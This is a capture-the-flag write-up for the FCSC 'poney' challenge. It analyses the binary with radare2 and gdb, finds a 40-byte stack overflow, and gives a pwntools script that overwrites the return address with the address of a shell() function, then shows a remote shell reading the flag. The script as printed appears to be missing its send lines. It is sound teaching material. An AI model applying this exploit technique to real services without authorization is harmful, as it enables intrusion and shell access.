On vous demande de lire le fichier flag présent sur le système. Service : nc challenges1.france-cybersecurity-challenge.fr 4000

We have to exploit a binary to read flag.txt on the server.


First of all, let’s check a few things on the binary:

magnussen@funcMyLife:~/poney$ ./poney
Give me the correct input, and I will give you a shell:
>>> Magnussen
magnussen@funcMyLife:~/poney$ ./poney
Give me the correct input, and I will give you a shell:
Segmentation fault (core dumped)
magnussen@funcMyLife:~/poney$ strings poney
Give me the correct input, and I will give you a shell:
GCC: (Debian 6.3.0-18+deb9u1) 6.3.0 20170516

Ok, so the program can segfault if we give it a long string, and there’s a string /bin/bash and another one called shell.

Let’s check if shell is a function and if we can find some information on it:

magnussen@funcMyLife:~/poney$ radare2 poney
[0x00400580]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x00400580]> fs symbols
[0x00400580]> f
0x00400689 256 main
0x00400580 43 entry0
0x00400650 38 entry1.init
0x00400630 1 entry2.fini
0x00600de8 0 obj.__JCR_LIST
0x004005b0 50 sym.deregister_tm_clones
0x004005f0 53 sym.register_tm_clones
0x00400630 28 sym.__do_global_dtors_aux
0x00601018 1 obj.completed.6972
0x00600de0 0 obj.__do_global_dtors_aux_fini_array_entry
0x00400650 0 sym.frame_dummy
0x00600dd8 0 obj.__frame_dummy_init_array_entry
0x00400928 0 obj.__FRAME_END
0x00600de8 0 obj.__JCR_END
0x00600de0 0 loc.__init_array_end
0x00600df0 0 obj._DYNAMIC
0x00600dd8 0 loc.__init_array_start
0x004007b8 0 loc.__GNU_EH_FRAME_HDR
0x00600fb0 0 obj._GLOBAL_OFFSET_TABLE
0x00400750 2 sym.__libc_csu_fini
0x00601010 0 obj.stdout
0x00601000 0 loc.data_start
0x00601010 0 loc.stdout
0x00400754 9 sym._fini
0x00601000 0 loc.__data_start
0x00601008 0 obj.__dso_handle
0x00400760 4 obj._IO_stdin_used
0x004006e0 101 sym.__libc_csu_init
0x00601020 0 loc._end
0x00400580 43 entry0
0x00400689 83 sym.main
0x00400676 19 sym.shell
0x00400528 23 sym._init
[0x00400580]> s sym.shell
[0x00400676]> pdf
/ (fcn) sym.shell 19
|   sym.shell ();
|           0x00400676      55             push rbp
|           0x00400677      4889e5         mov rbp, rsp
|           0x0040067a      488d3de70000.  lea rdi, qword str.bin_bash ; 0x400768 ; "/bin/bash"
|           0x00400681      e8d2feffff     call sub.system_208_558
|           0x00400686      90             nop
|           0x00400687      5d             pop rbp
\           0x00400688      c3             ret

There’s a function shell that call /bin/bash and is located at 0x00400676.

Let’s keep that in mind and see if we can call it through a buffer overflow.

magnussen@funcMyLife:~/poney$ gdb poney
GNU gdb (Ubuntu 8.1-0ubuntu3.2)
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
Find the GDB manual and other documentation resources online at:
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from poney...(no debugging symbols found)...done.
gdb-peda$ pattern_create 100
gdb-peda$ r
Starting program: /home/magnussen/Documents/magnupackage/current_chall/fcsc/intro/poney/poney
Give me the correct input, and I will give you a shell:

Program received signal SIGSEGV, Segmentation fault.

RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7dd0560 --> 0x7ffff7dcc580 --> 0x7ffff7b9996e --> 0x636d656d5f5f0043 ('C')
RDX: 0x7ffff7dd18d0 --> 0x0
RSI: 0x1
RDI: 0x0
RBP: 0x6141414541412941 ('A)AAEAAa')
RIP: 0x4006db (<main+82>:	ret)
R8 : 0x0
R9 : 0x0
R10: 0x0
R11: 0x4007b7 --> 0x443b031b0100
R12: 0x400580 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffdb10 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
   0x4006d0 <main+71>:	call   0x400570 <__isoc99_scanf@plt>
   0x4006d5 <main+76>:	mov    eax,0x0
   0x4006da <main+81>:	leave  
=> 0x4006db <main+82>:	ret    
   0x4006dc:	nop    DWORD PTR [rax+0x0]
   0x4006e0 <__libc_csu_init>:	push   r15
   0x4006e2 <__libc_csu_init+2>:	push   r14
   0x4006e4 <__libc_csu_init+4>:	mov    r15d,edi
0016| 0x7fffffffda48 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0x7fffffffda50 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0032| 0x7fffffffda58 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0040| 0x7fffffffda60 ("AJAAfAA5AAKAAgAA6AAL")
0048| 0x7fffffffda68 ("AAKAAgAA6AAL")
0056| 0x7fffffffda70 --> 0x4c414136 ('6AAL')
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00000000004006db in main ()
gdb-peda$ pattern_search
Registers contain pattern buffer:
RBP+0 found at offset: 32
Registers point to pattern buffer:
[RSP] --> offset 40 - size ~60
Pattern buffer found at:
0x00602670 : offset    0 - size  100 ([heap])
0x00007fffffffda10 : offset    0 - size  100 ($sp + -0x28 [-10 dwords])
0x00007fffffffecd2 : offset 48893 - size    4 ($sp + 0x129a [1190 dwords])
0x00007fffffffecee : offset 31579 - size    4 ($sp + 0x12b6 [1197 dwords])
References to pattern buffer found at:
0x00007ffff7dcfa18 : 0x00602670 (/lib/x86_64-linux-gnu/libc-2.27.so)
0x00007ffff7dcfa20 : 0x00602670 (/lib/x86_64-linux-gnu/libc-2.27.so)
0x00007ffff7dcfa28 : 0x00602670 (/lib/x86_64-linux-gnu/libc-2.27.so)
0x00007ffff7dcfa30 : 0x00602670 (/lib/x86_64-linux-gnu/libc-2.27.so)
0x00007ffff7dcfa38 : 0x00602670 (/lib/x86_64-linux-gnu/libc-2.27.so)
0x00007fffffffd380 : 0x00007fffffffda10 ($sp + -0x6b8 [-430 dwords])
0x00007fffffffd4e0 : 0x00007fffffffda10 ($sp + -0x558 [-342 dwords])
0x00007fffffffd938 : 0x00007fffffffda10 ($sp + -0x100 [-64 dwords])
0x00007fffffffd958 : 0x00007fffffffda10 ($sp + -0xe0 [-56 dwords])

Nice! The size of our buffer is 32 and we can rewrite our RSP (register stack pointer (current location in stack)).

We can put the address of our shell function in the RSP register to execute it. We have to put some garbage in the buffer and a bit after (39 chars, the RSP start at 40) and then we can put our shell address to execute it. The program will read the RSP register and will go to the shell function.

Let’s use PwnTools to exploit this buffer overflow on the server and read the flag.txt.

Here’s the script:

# coding: utf-8
from pwn import *

context(arch = 'i386', os = 'linux', endian = 'little', word_size = 32, log_level = 'debug')

HOST = 'challenges1.france-cybersecurity-challenge.fr'
PORT = 4000
p = remote(HOST, PORT)

text = p.recv(timeout=1)

overflow = "A"*40
addr = 0x00400676
overflow += p64(addr).decode('UTF-8')

print("[*] sending overflow..")

print("[*] done.")

magnussen@funcMyLife:~/poney$ python3 exploit.py
[+] Opening connection to challenges1.france-cybersecurity-challenge.fr on port 4000: Done
[DEBUG] Received 0x3c bytes:
    b'Give me the correct input, and I will give you a shell:\n'
    b'>>> '
b'Give me the correct input, and I will give you a shell:\n>>> '
[*] sending overflow..
[DEBUG] Sent 0x31 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    00000020  41 41 41 41  41 41 41 41  76 06 40 00  00 00 00 00  │AAAA│AAAA│v·@·│····│
    00000030  0a                                                  │·│
[*] done.
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
[DEBUG] Received 0xb bytes:
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x47 bytes:

This was a nice challenge and a good introduction to buffer overflow.

Thanks to the FCSC team, this was an awesome CTF, I’ve learned a lot and had a lot of fun. Congratulation for the organization, see you next year!